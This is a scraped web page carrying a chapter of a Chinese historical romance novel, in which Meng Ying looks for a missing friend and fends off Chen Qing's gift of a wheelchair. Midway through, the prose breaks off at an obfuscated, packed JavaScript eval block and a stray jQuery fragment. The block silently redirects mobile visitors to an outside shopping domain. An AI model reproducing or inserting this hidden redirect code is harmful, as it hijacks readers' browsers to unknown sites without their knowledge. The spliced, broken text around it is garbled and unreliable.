孟莹和罗玉把东西交给钱文后,没有立刻回家,而是走另一条小路,去了赵环的香膏铺子,可当二人去了,才发现铺面关着,门上只有一把锈锁,台阶上的野草也许久无人收拾,有几寸高。
罗玉见了不免有些担心,低声道:“这就怪了,赵大哥不在罗山村,也不在孟镇上,会去哪里呢?”
平日里罗玉会绕道去赵环的小茅屋,为的是若遇见了搭上几句话,从前隔几日都会碰到一次,可近来快有十日没见着他了,眼下铺子里也不见他人,罗玉心里不免有些急。
孟莹安慰她:“先别急,我们四处去问问,打听打听情况。”
于是二人问了左右的住户,可无一人知赵环的下落,只说前两日,有几人来过他这铺面,过后就不见他的人了。
这话让罗玉心中越发着急,孟莹对她道:“不若我们回去问罗翁,看他和罗大娘知不知道。”
“嗯,好。”
罗玉心中担心赵环,他前些日子无缘无故断了腿,现在又下落不明,罗玉总觉得他是不是得罪了什么人。
二人说着就要往罗山村赶,却被一道声音唤住。
“莹莹,玉儿,你怎么会在这里?”
孟莹回身看去,便看到了一脸憨笑的陈庆,和往常不同,他今日穿的不是褐衣,是一件棉布做的长衫,可因他的身形太过壮硕,长衫穿在他身上,有些别扭,不是很合身。
“陈大哥,好巧。”孟莹道。
“是啊,好巧。”陈庆不好意思,挠了挠脑袋走上前,对孟莹道:“上次的事,我不是故意不理你的。”
想起上次的事,陈庆有些后悔自己太冲动了,怎么就听信了那郎君一人所言,以为莹莹喜欢他。所以当莹莹追出来问他发生了何事时,他赌气当没听见离开了。
回去后,他想了几天,觉得自己不能就此放弃,莫说莹莹还未亲口承认,就是承认了,男未婚女未嫁,他就还有机会,是以他打算今日去罗山村寻孟莹和她道歉,不想,却在镇上碰到她了。
孟莹闻言,轻笑道:“上次的事该我和陈大哥道歉才是,我虽不知他对你说了什么,但我明白你不是气量小的人,应是他说了过分的话,你才如此的。”
听孟莹说那郎君不对时,顺带夸自己,陈庆露出憨笑,“我哪里就如莹莹说得这般……”
这模样,谁瞧了都能看出陈庆对孟莹的心意,可偏偏孟莹不明白,因还要急着赶回罗山村,不能在镇上耽搁太久,于是她问陈庆:“陈大哥还有事吗,要是没有,我就先回去了。”
还沉浸在被人夸耀欣喜中的陈庆回过神,想起今日寻孟莹的目的,他忙道:“有,我还有有事。”
原本准备转身和罗玉一起回村的孟莹,不得不顿下脚步,听陈庆说自己的事。
两人已经很急了,想着陈庆早说完事,她们能早些回去,然而就在这焦灼的情绪下,他道:“你们等等,我去把东西拿来。”
说完,转身去了一旁的木匠铺子,推出一个轮车。
“陈大哥这是……”孟莹一脸诧异看着陈庆。
“这是我这几日托人做的,你看看如何?”陈庆把轮车推到孟莹跟前:“我看那郎君虽不壮,但身量高,所以特意去山里砍了杉木,让木匠铺的老板替我做了这轮车。”
眼前壮实的男子,穿着只有书生会穿的棉衣,又送崔植轮车,饶是孟莹再迟钝,也知他做这些是为了讨好她,至于为何,不言而喻。
但孟莹很清楚,自己无法给他回应,前世如此,这世也不会因他的示好改变。
是以,她下意识拒绝:“陈大哥,你不必这样,我……”
她受不起这样的恩情。
陈庆仿佛知道她会说什么,出言打断:“莹莹是不是不拿我当兄长了,我可还把莹莹看做妹妹,兄长帮妹妹不是天经地义吗,还是说莹莹长大了,瞧不上我这个兄长了?”
自小一起长大的人,孟莹清楚陈庆,他性子慢,说话慢,又长得壮实,给人感觉憨厚实诚,可她却知道,他的实诚下,有一颗活泛的心,人不坏,却知怎样拿捏人心,怎样叫人无法拒绝他所言。
有了“兄妹”的关系做筏子,孟莹再多言,便会显得她才是那个多想的有心之人。
一旁的罗玉,思绪早已乱成一锅粥,她无暇顾及孟莹和陈庆之间的拉扯,只想立刻回村,去罗翁家问赵环的下落。
感受到罗玉的焦急,孟莹只得收下陈庆的好意,她接过脚边的轮车:“我替郎君谢谢陈大哥了,待日后他家人寻来,定会登门道谢。”
她的话,几乎是直接明了告诉陈庆,东西她收了,但欠他人情的是崔植,和她无关,孟莹把自己瞥得干净,她觉的陈庆是聪明人,应该会明白,她这是在拒绝他的示好,让他不要再花心思在自己身上了。
可话刚说出,手也才碰到新做的轮车,陈庆便一把将轮车扛在身上,对孟莹道:“我不要他们登门道谢,他们谢你便是谢我,你我之间不必分得那么清,走我帮你把轮车送回家。”
好不容易分清的关系,再次被陈庆的话搅合一处。孟莹没有时间和他站在这里掰扯,只得由着他去了。
回村后,孟莹原是要和罗玉一起去罗翁家的,但想到上次崔植和陈庆闹出不愉快的事,孟莹对罗玉道:“玉儿,你先去打探情况,有什么不对劲再来寻我。”
“嗯,好。”
罗玉说完,走了另一条岔路去往罗翁家,孟莹和陈庆则一直沿路往孟莹小院的方向去。
路上,陈庆问孟莹:“玉儿是有什么事吗,这般急躁?”
“没有。”
孟莹不打算把赵环下落不明的事告诉陈庆,一来,陈庆和赵环并不熟识,对他说了也无用。二来,赵环是否真的失踪也未有定论,不宜惊动太多人。
本是随口搭话,陈庆并不是真的想知道罗玉发生了何事,既然孟莹说无事,他就不问了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967227|214549||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>黄昏时分,正是村民背着农具回家的时候,不宽的路上,不时迎面走来几人。孟莹自幼流落此地,是靠村民,你家一碗饭,他家一口粮养大的,直到她能自己做农活,养活自己,是以遇着这些恩人,她总是停下脚步恭谨同他们打招呼。
“王大娘又忙了一天吧,来这是我今日采的新茶,您回去炒炒就能泡着喝了。”
孟莹说着,往那大娘的斗笠中放了一大把茶叶。
茶叶对罗山村的村民而言,并不贵重,但想要喝到好茶叶不容易,为了种出口感清甜的茶叶,茶树需种在山顶,吸收日月精华,这样的茶不仅口感好,品相也好,只是有一桩,上山的路不好走,除了年轻女郎小伙子,年纪稍微大些的就上不去了,他们想要喝上好茶,要么自己卖,要么靠人给。
看着满满一斗笠新茶,大娘笑得眼睛眯了起来:“又得了莹莹的东西,叫大娘怎么好意思。”
“无妨的大娘,是莹莹应该的。”
大娘走后,一个手里抱着孩童的老伯走来,他怀里的孩童哭闹得厉害,孟莹上前问他:“老伯,这孩子是怎么呢?”
孟莹抱过孩子,是个四五岁的小姑娘,双眼哭得通红,她抽噎道:“姐姐我肚子饿,爷爷说家里粮食不多了,要省着吃。”
小姑娘口里的爷爷脊背佝偻,头发银白,一张脸瘦得只剩一张皮,孟莹认识他,也姓孟,是这村中最穷苦的人家,十多年前,从孟镇搬来罗山村,儿子常年混迹赌坊,儿媳受不了跑了,家中只留下老人和孩子相依为命。
孟老伯听了孙女的话后,抹了一把泪:“家里的粮食都被我那逆子拿去卖了,换了钱就去赌,哪里管我和这孩子的死活。”
孟莹听了心生不忍,从袖中拿出自己最后的家当,二两银子递给孟老伯:“您先把钱收好,切莫叫你那儿子发现了,待明日你便去孟镇买些粮食,能撑一阵是一阵,后面我再替您想办法。”
虽说救急不救穷,但孟莹不能眼睁睁看着两人饿死,把钱给了老伯后,她又从怀中拿出一块甜糕给小姑娘:“你拿着吃,别哭了。”
见着吃的小姑娘不哭了。
孟老伯接过银钱,连连感谢:“孟娘子和孟娘子的夫君都是大好人,我无言以谢,只能……”
见人作势要跪下,孟莹忙把人扶起:“老伯,使不得,您是长辈,您这般要折煞晚辈了。”
“是啊。”一旁的陈庆见孟老伯把自己认作莹莹的夫郎,很是欣喜,他放下肩上扛的轮车,也从怀中拿出银钱,递给孟老伯:“这个您也收下,钱虽不多,但也是晚辈的心意。”
“多谢,多谢。”
“天黑了,老伯您快些回去吧。”孟莹说着,往不远处,自己的小院看了眼。
落日余晖下,扶墙而站的颀长身影被染成丹霞色,青丝半挽,身姿舒朗,贵气迫人。因隔着些距离,她看不清他的脸,但不知为何,她隐隐觉得,他看来的目光里,藏着寒芒。